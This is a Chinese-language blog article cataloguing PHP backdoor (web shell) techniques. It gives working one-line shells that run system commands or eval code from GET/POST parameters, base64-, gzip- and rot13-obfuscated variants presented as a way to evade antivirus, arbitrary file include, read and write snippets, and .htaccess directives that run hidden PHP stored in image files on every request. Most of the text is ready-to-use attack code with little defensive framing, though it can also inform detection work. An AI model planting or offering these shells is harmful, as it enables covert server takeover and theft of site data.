天天看點

淺談php後門木馬

php後門木馬對大家來說一點都不陌生吧,但是它的種類您又知多少呢?

本文為您淺析說明一些php後門木馬常用的函數。

php後門木馬常用的函數大緻上可分為四種類型:

1. 執行系統指令: system, passthru, shell_exec, exec, popen, proc_open

2. 代碼執行與加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

3. 檔案包含與生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

4. .htaccess: SetHandler, auto_prepend_file, auto_append_file

1. 執行系統指令:

system 函數

//test.php?cmd=ls

system($_GET[cmd]);

passthru 函數

passthru($_GET[cmd]);

shell_exec 函數

echo shell_exec($_GET[cmd]);

exec 函數

$arr = array();

exec($_GET[cmd],$arr);

print_r($arr);

popen 函數

$handle = popen('$_GET[cmd], 'r');

$read = fread($handle, 2096);

echo $read;

pclose($handle);

proc_open 函數

$descriptorspec = array(

       0 => array('pipe', 'r'),

       1 => array('pipe', 'w'),

       2 => array('pipe', 'w'),

    );

$proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);

fclose($pipes[0]);

$output = array();

while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));

print_r($output);

2. 代碼執行與加密:

eval 函數

//最常見的一句話木馬

eval($_POST[cmd]);

base64_decode 函數

//為了免殺及隐藏而加密代碼

//密文: eval($_POST['cmd']);

eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));

gzinflate 函數

eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));

gzuncompress 函數

eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));

gzdecode 函數

eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));

str_rot13 函數

//密文: eval($_POST[cmd]);

eval(str_rot13('riny($_CBFG[pzq]);'));

assert 函數

//類似eval函數

assert($_POST[cmd]);

call_user_func 函數

//使用call_user_func調用assert

call_user_func('assert',$_POST[cmd]);

//使用call_user_func調用任意函數

//test.php?a=assert&cmd=phpinfo()

call_user_func($_GET[a],$_REQUEST[cmd]);

組合代碼

//組合方式調用任意函數

$_GET[a]($_REQUEST[cmd]);

3. 檔案包含與生成:

require 函數

//包含任意檔案

//test.php?file=123.jpg

require($_GET[file]);

require_once 函數

require_once($_GET[file]);

include 函數

include($_GET[file]);

include_once 函數

include_once($_GET[file]);

file_get_contents 函數

//讀取任意檔案

//test.php?f=config.inc.php

echo file_get_contents($_GET['f']);

file_put_contents 函數

//生成任意内容檔案

//a=test.php&b=<?php eval($_POST[cmd]);?>

file_put_contents($_GET[a],$_GET[b]);

fputs 函數

fputs(fopen($_GET[a],"w"),$_GET[b]);

4. .htaccess:

SetHandler

//可将php代碼存于非php字尾檔案,例: x.jpg

//将以下代碼寫入.htaccess中

//連接配接x.jpg即可啟動後門木馬

<FilesMatch "x.jpg">

SetHandler application/x-httpd-php

</FilesMatch>

auto_prepend_file

//可将php代碼存于非php字尾檔案,例: 123.gif

//将以下代碼寫入.htaccess中, 檔案路徑必須是絕對路徑

//通路網站上任何php檔案都會啟動該php後門木馬

//可在不更改站點源代碼的情況下記錄所有$_REQUEST的值,也可批量挂馬

php_value auto_prepend_file c:/apache2/htdocs/123.gif

auto_append_file

//類似auto_prepend_file

php_value auto_append_file c:/apache2/htdocs/123.gif